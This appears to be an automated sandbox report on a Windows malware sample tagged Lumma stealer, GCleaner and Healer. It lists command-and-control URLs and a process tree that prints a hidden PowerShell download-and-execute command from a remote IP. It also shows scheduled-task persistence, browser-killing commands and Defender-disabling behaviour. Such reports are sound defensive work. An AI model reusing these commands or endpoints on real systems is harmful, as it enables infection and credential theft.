Overview

overview

10

Static

static

5

2025-0~1.exe

windows10-2004-x64

10

2025-0~1.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2025, 04:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2025-0~1.exe
  • Size 938KB
  • Sample250504-eppqqswzhw
  • SHA256 dff486df8523787d170d75081cf5feeda5468cbde44b3a74b34f6cfc2bd1afef
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
gcleanerhealerlummadefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://80.64.18.219/testmine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://80.64.18.219/testmine/random.exe

Extracted

Family

  • lumma

C2

  • https://shootef.world/api

  • https://orjinalecza.net/lxaz

  • https://eczakozmetik.net/qop

  • https://orijinalecza.org/jub

  • https://ztortoisgfe.top/paxk

  • https://eczamedikal.org/vax

  • https://orijinalecza.net/kazd

  • https://medicalbitkisel.net/juj

  • https://snakejh.top/adsk

  • https://sformydab.run/gaus

  • https://tortoisgfe.top/paxk

  • https://vecturar.top/zsia

  • https://brandihx.run/lowp

  • https://viriatoe.live/laopx

  • https://exitiumt.digital/xane

  • https://opusculy.top/keaj

  • https://civitasu.run/werrp

  • https://scriptao.digital/vpep

  • https://praetori.live/vepr

  • https://rdisciplipna.top/eqwu

Extracted

Family

  • gcleaner

C2

  • 45.91.200.135

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 16 IoCs
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 3 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 29 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-0~1.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-0~1.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5044
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn ZeTCImaQakm /tr "mshta C:\Users\Admin\AppData\Local\Temp\8jaJIDolX.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1164
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn ZeTCImaQakm /tr "mshta C:\Users\Admin\AppData\Local\Temp\8jaJIDolX.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1824
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\8jaJIDolX.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5092
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'O2PAYOOU38FKQ1TRLQNUNQX7LKUINSJF.EXE';(New-Object System.Net.WebClient).DownloadFile('http://80.64.18.219/testmine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Users\Admin\AppData\Local\TempO2PAYOOU38FKQ1TRLQNUNQX7LKUINSJF.EXE
          "C:\Users\Admin\AppData\Local\TempO2PAYOOU38FKQ1TRLQNUNQX7LKUINSJF.EXE"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3912
          • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
            "C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe"
            5⤵
            • Downloads MZ/PE file
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4588
            • C:\Users\Admin\AppData\Local\Temp\10020520101\dDthTIC.exe
              "C:\Users\Admin\AppData\Local\Temp\10020520101\dDthTIC.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1280
            • C:\Users\Admin\AppData\Local\Temp\10020530101\lYvr05n.exe
              "C:\Users\Admin\AppData\Local\Temp\10020530101\lYvr05n.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:4324
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1812
            • C:\Users\Admin\AppData\Local\Temp\10020540101\bPtJj46.exe
              "C:\Users\Admin\AppData\Local\Temp\10020540101\bPtJj46.exe"
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:1128
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c 68140be001524.vbs
                7⤵
                • Checks computer location settings
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:3240
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\68140be001524.vbs"
                  8⤵
                    PID:4308
              • C:\Users\Admin\AppData\Local\Temp\10020550101\amnew.exe
                "C:\Users\Admin\AppData\Local\Temp\10020550101\amnew.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4736
                • C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                  "C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe"
                  7⤵
                  • Downloads MZ/PE file
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:768
                  • C:\Users\Admin\AppData\Local\Temp\10000510101\6683509995.exe
                    "C:\Users\Admin\AppData\Local\Temp\10000510101\6683509995.exe"
                    8⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3412
                    • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                      "C:\Users\Admin\AppData\Local\Temp\10000510101\6683509995.exe"
                      9⤵
                      • Downloads MZ/PE file
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:4988
              • C:\Users\Admin\AppData\Local\Temp\10020560101\08IyOOF.exe
                "C:\Users\Admin\AppData\Local\Temp\10020560101\08IyOOF.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3688
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                    PID:928
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:624
                • C:\Users\Admin\AppData\Local\Temp\10020570101\fV8FBMo.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020570101\fV8FBMo.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:436
                • C:\Users\Admin\AppData\Local\Temp\10020580101\4196927b81.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020580101\4196927b81.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1632
                • C:\Users\Admin\AppData\Local\Temp\10020590101\3b0e4dbff6.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020590101\3b0e4dbff6.exe"
                  6⤵
                  • Modifies Windows Defender DisableAntiSpyware settings
                  • Modifies Windows Defender Real-time Protection settings
                  • Modifies Windows Defender TamperProtection settings
                  • Modifies Windows Defender notification settings
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Windows security modification
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2640
                • C:\Users\Admin\AppData\Local\Temp\10020600101\c07685194f.exe
                  "C:\Users\Admin\AppData\Local\Temp\10020600101\c07685194f.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:1684
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM firefox.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3784
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM chrome.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4980
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM msedge.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2052
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM opera.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4908
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM brave.exe /T
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:936
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                    7⤵
                      PID:688
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                        8⤵
                        • Drops desktop.ini file(s)
                        • Checks processor information in registry
                        • Modifies registry class
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        • Suspicious use of SetWindowsHookEx
                        PID:1400
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {ee86ae9f-f3ef-4758-a221-710d088bb78b} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                          9⤵
                            PID:1380
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27135 -prefMapHandle 2504 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {2b4290cc-6bc1-4471-8430-3efa7da5c0cb} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                            9⤵
                              PID:2992
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3844 -prefsLen 25213 -prefMapHandle 3848 -prefMapSize 270279 -jsInitHandle 3852 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3860 -initialChannelId {41e399d7-729d-4710-bb51-1b1b619bfbc8} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                              9⤵
                              • Checks processor information in registry
                              PID:3112
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4008 -prefsLen 27325 -prefMapHandle 4012 -prefMapSize 270279 -ipcHandle 4080 -initialChannelId {bee63832-99b8-4303-b8ed-d310755f38b3} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                              9⤵
                                PID:2188
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4348 -prefsLen 34824 -prefMapHandle 4352 -prefMapSize 270279 -jsInitHandle 4356 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4364 -initialChannelId {74c0b505-51e9-4def-af31-b1d273251d16} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                9⤵
                                • Checks processor information in registry
                                PID:3688
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5056 -prefsLen 35012 -prefMapHandle 5060 -prefMapSize 270279 -ipcHandle 5068 -initialChannelId {2a5174e9-8bbc-4610-a65f-961b96ab3778} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                9⤵
                                • Checks processor information in registry
                                PID:5692
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5260 -prefsLen 32952 -prefMapHandle 5264 -prefMapSize 270279 -jsInitHandle 5268 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5220 -initialChannelId {139891ff-c43a-4b93-9e19-3c9e0b39525a} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                9⤵
                                • Checks processor information in registry
                                PID:5716
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5532 -prefsLen 32952 -prefMapHandle 5536 -prefMapSize 270279 -jsInitHandle 5540 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5548 -initialChannelId {b83e2ae4-d232-463d-a8eb-deb4747d9e4f} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                9⤵
                                • Checks processor information in registry
                                PID:5740
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5720 -prefsLen 32952 -prefMapHandle 5724 -prefMapSize 270279 -jsInitHandle 5728 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5736 -initialChannelId {d6fbaf27-7d6f-4ceb-b1cb-7d38598b7452} -parentPid 1400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                9⤵
                                • Checks processor information in registry
                                PID:5760
                        • C:\Users\Admin\AppData\Local\Temp\10020610101\5ce74b3ded.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020610101\5ce74b3ded.exe"
                          6⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:3424
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /create /tn IeZAkmaDi9K /tr "mshta C:\Users\Admin\AppData\Local\Temp\PSVmm1A8B.hta" /sc minute /mo 25 /ru "Admin" /f
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:5016
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn IeZAkmaDi9K /tr "mshta C:\Users\Admin\AppData\Local\Temp\PSVmm1A8B.hta" /sc minute /mo 25 /ru "Admin" /f
                              8⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:1152
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta C:\Users\Admin\AppData\Local\Temp\PSVmm1A8B.hta
                            7⤵
                            • Checks computer location settings
                            • System Location Discovery: System Language Discovery
                            PID:1160
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'SGXJHLHLAGTORWKYNKTFFGBWSNONRRS3.EXE';(New-Object System.Net.WebClient).DownloadFile('http://80.64.18.219/testmine/random.exe',$d);Start-Process $d;
                              8⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Downloads MZ/PE file
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4200
                              • C:\Users\Admin\AppData\Local\TempSGXJHLHLAGTORWKYNKTFFGBWSNONRRS3.EXE
                                "C:\Users\Admin\AppData\Local\TempSGXJHLHLAGTORWKYNKTFFGBWSNONRRS3.EXE"
                                9⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:5244
                        • C:\Users\Admin\AppData\Local\Temp\10020620101\7519c2bd96.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020620101\7519c2bd96.exe"
                          6⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1464
                          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                            "C:\Users\Admin\AppData\Local\Temp\10020620101\7519c2bd96.exe"
                            7⤵
                            • Downloads MZ/PE file
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:5828
                        • C:\Users\Admin\AppData\Local\Temp\10020630101\f312109ebd.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020630101\f312109ebd.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:5500
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5560
                        • C:\Users\Admin\AppData\Local\Temp\10020640101\808f655847.exe
                          "C:\Users\Admin\AppData\Local\Temp\10020640101\808f655847.exe"
                          6⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:7572
                          • C:\Users\Admin\AppData\Local\Temp\is-JBUN0.tmp\808f655847.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-JBUN0.tmp\808f655847.tmp" /SL5="$1101C0,19201980,844800,C:\Users\Admin\AppData\Local\Temp\10020640101\808f655847.exe"
                            7⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            PID:3128
                            • C:\Users\Admin\AppData\Roaming\MyApp\data\putty.exe
                              "C:\Users\Admin\AppData\Roaming\MyApp\data\putty.exe"
                              8⤵
                              • Executes dropped EXE
                              PID:940
                            • C:\Users\Admin\AppData\Roaming\MyApp\core.exe
                              "C:\Users\Admin\AppData\Roaming\MyApp\core.exe"
                              8⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:5288
                            • C:\Users\Admin\AppData\Roaming\MyApp\info.exe
                              "C:\Users\Admin\AppData\Roaming\MyApp\info.exe"
                              8⤵
                              • Executes dropped EXE
                              PID:5396
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:3532
                • C:\Windows\system32\rundll32.exe
                  rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                  2⤵
                    PID:1572
                • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                  C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                  1⤵
                  • Executes dropped EXE
                  PID:4548
                • C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                  C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3608
                • C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                  C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5608
                • C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                  C:\Users\Admin\AppData\Local\Temp\4d0ca3b476\taren.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5352

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      1
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Create or Modify System Process

                      4
                      T1543

                      Windows Service

                      4
                      T1543.003

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Create or Modify System Process

                      4
                      T1543

                      Windows Service

                      4
                      T1543.003

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Defense Evasion

                      Impair Defenses

                      5
                      T1562

                      Disable or Modify Tools

                      5
                      T1562.001

                      Modify Registry

                      6
                      T1112

                      Virtualization/Sandbox Evasion

                      2
                      T1497

                      Credential Access

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Query Registry

                      7
                      T1012

                      System Information Discovery

                      4
                      T1082

                      System Location Discovery

                      1
                      T1614

                      System Language Discovery

                      1
                      T1614.001

                      Virtualization/Sandbox Evasion

                      2
                      T1497

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      2A42127F349D54E7AA939366FF86F74E_7F7B9AAAFF465D18D58C254B044E2800
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2A42127F349D54E7AA939366FF86F74E_7F7B9AAAFF465D18D58C254B044E2800
                      • Size 279B
                      • SHA256 459edd924ed4f9b04be488db21485ccbf2688edaf906cc17ce496f0d2d1bf8f5
                      • MD5 SHA1 SHA512
                      Submit Download

                      8B2B9A00839EED1DFDCCC3BFC2F5DF12
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                      • Size 1KB
                      • SHA256 fb6a7c3edcd7b97fabc18855102a39fc4d6d3f82c0fdd39b1667807b71b9c49b
                      • MD5 SHA1 SHA512
                      Submit Download

                      B46811C17859FFB409CF0E904A4AA8F8
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                      • Size 530B
                      • SHA256 6fb1b8e593cb0388f67ead35313a230f524657317ea86271b3a97362e5ec6ad9
                      • MD5 SHA1 SHA512
                      Submit Download

                      2A42127F349D54E7AA939366FF86F74E_7F7B9AAAFF465D18D58C254B044E2800
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2A42127F349D54E7AA939366FF86F74E_7F7B9AAAFF465D18D58C254B044E2800
                      • Size 398B
                      • SHA256 c9cf031a3c27fe026c8b98dac5276367458793bdfadad7a7397d84f76d9d6646
                      • MD5 SHA1 SHA512
                      Submit Download

                      8B2B9A00839EED1DFDCCC3BFC2F5DF12
